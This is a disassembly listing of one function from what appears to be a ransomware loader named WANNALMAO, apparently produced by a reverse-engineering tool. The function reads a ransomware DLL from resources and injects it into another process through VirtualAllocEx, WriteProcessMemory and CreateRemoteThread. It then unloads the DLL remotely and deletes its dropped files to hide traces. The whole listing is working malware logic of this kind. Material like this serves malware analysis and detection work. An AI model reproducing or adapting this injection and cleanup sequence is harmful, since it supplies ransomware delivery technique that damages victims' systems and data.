Function at 0x14002b4ba
Capabilities:
Create thread
Delete file
Inject thread

Disassembly:
jmp 0x14002dbb0
push rbp
sub rsp, 0xe0
lea rbp, [rsp + 0x40]
lea rdx, [rbp]
mov ecx, 0x66
call sym.Loader.exe_unsigned_char____ptr64___cdecl_WANNALMAO_LoadDllFromResources_unsigned_int__unsigned_long_long_unsigned___int64_____ptr64_
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002dbe3
lea rcx, str.error_reading_ransomware_from_resources
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp]
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x14002dc1b
lea rcx, str.error_allocating_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x20], 0
mov r9, qword [rbp]
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x14002dc4d
lea rcx, str.error_writing_to_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x10
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x14002dc87
lea rcx, str.error_allocating_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x20]
mov rdx, qword [rbp + 0x18]
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x14002dccb
lea rcx, str.error_writing_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, str.WANNALMAO_LoadCLR
lea rdx, str.verysus.dll
mov rcx, qword [0x140098518]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetFunctionAddress_void____ptr64__char_const____ptr64__char_const____ptr64_
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
jne 0x14002dcfc
lea rcx, str.error_getting_WANNALMAO_LoadCLR_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
jne 0x14002dd43
lea rcx, str.error_creating_remote_thread
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [0x140098510]
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
test eax, eax
jne 0x14002dd79
lea rcx, str.error_unloading_dll_locally
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, str.FreeLibrary
lea rdx, str.kernel32.dll
mov rcx, qword [0x140098518]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetFunctionAddress_void____ptr64__char_const____ptr64__char_const____ptr64_
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x40], 0
jne 0x14002ddaa
lea rcx, str.error_getting_FreeLibrary_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rdx, str.verysus.dll
mov rcx, qword [0x140098518]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetModuleBaseAddress_void____ptr64__char_const____ptr64_
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14002ddd4
lea rcx, str.error_getting_module_base_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov qword [rbp + 0x50], rax
cmp qword [rbp + 0x50], 0
jne 0x14002de1b
lea rcx, str.error_creating_remote_thread
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea rcx, [0x140098520]
call qword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x14002de47
lea rcx, str.error_deleting_verysus.dll
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov rcx, qword [str.._loading]
call sym.Loader.exe_bool___cdecl_WANNALMAO_RemoveFile_char_const____ptr64_
lea rsp, [rbp + 0xa0]
pop rbp
ret